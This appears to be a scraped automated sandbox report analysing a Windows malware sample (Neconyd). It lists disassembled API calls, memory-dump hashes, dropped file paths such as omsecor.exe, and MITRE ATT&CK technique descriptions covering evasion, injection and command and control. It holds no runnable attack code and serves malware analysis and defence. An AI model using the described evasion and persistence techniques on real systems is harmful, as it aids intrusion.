RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

Build, xrefs: 00406CA6
w,@, xrefs: 00406CA0
SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00408E44,00000000,00000000,?,00408E44,00408795), ref: 004095A4
CharLowerW.USER32(00408795), ref: 004095D8
SysFreeString.OLEAUT32(00408795), ref: 00409608
SysFreeString.OLEAUT32(00408E44), ref: 0040960D

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: a9b2d518bc86f0d25b60cd0557e0d7d5801712bcf914245b10683875f4897775
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: a9b2d518bc86f0d25b60cd0557e0d7d5801712bcf914245b10683875f4897775
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 00407267 Relevance: 6.1, APIs: 4, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00000000,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,00000000,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Time$System$File$__aulldiv
String ID:
API String ID: 3735792614-0
Opcode ID: 0c4dc03f5a347e2c27f051dc2031945d9a04d2897cd941f14c1bc42406c11d92
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: 0c4dc03f5a347e2c27f051dc2031945d9a04d2897cd941f14c1bc42406c11d92
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 004072ED Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00000000), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Time$System$File$__aulldiv
String ID:
API String ID: 3735792614-0
Opcode ID: 4f6d7255259d029fcefee0a6ef84dda989e1e538c9ce85064cb776bb0b095d3e
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: 4f6d7255259d029fcefee0a6ef84dda989e1e538c9ce85064cb776bb0b095d3e
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: 9768e3a2316649ce80f3092f0a8653cf88643bc84f5cb20062fd1d2db9b0b25f
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: 9768e3a2316649ce80f3092f0a8653cf88643bc84f5cb20062fd1d2db9b0b25f
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Function 00409837 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"URL", xrefs: 00409838

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AllocString
String ID: "URL"
API String ID: 2525500382-1734660058
Opcode ID: dde5973fb88290fc179560dd033cd143229de4e8b937af87662ad62248fcd5ae
Instruction ID: a1d8355846c3e17605cb56d648b2f311708773d78851072204e2f77cd01d539a
Opcode Fuzzy Hash: dde5973fb88290fc179560dd033cd143229de4e8b937af87662ad62248fcd5ae
Instruction Fuzzy Hash: E9F0A77650011997CF00AF64CC00ED637E9BB84348F0444B7E904E7240D974D9058F54

Function 004097BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"domain", xrefs: 004097BD

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AllocString
String ID: "domain"
API String ID: 2525500382-3540696003
Opcode ID: 8e4162beac9bb0746109323da30f0d67e223eba2bd2c583220c59dcd4726db76
Instruction ID: 2ab7b57618223888890007651f958d72a6f850cfddda49e7e7e9e9b765f43e97
Opcode Fuzzy Hash: 8e4162beac9bb0746109323da30f0d67e223eba2bd2c583220c59dcd4726db76
Instruction Fuzzy Hash: AEF0A776500119ABCF00AF64CC04ED677E8BB84308F1444A7F908E7240EA7499058F50

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cnzWgjUhS2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Neconyd

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\omsecor.exe

C:\Windows\SysWOW64\merocz.xc6

C:\Windows\SysWOW64\omsecor.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
cnzWgjUhS2.exe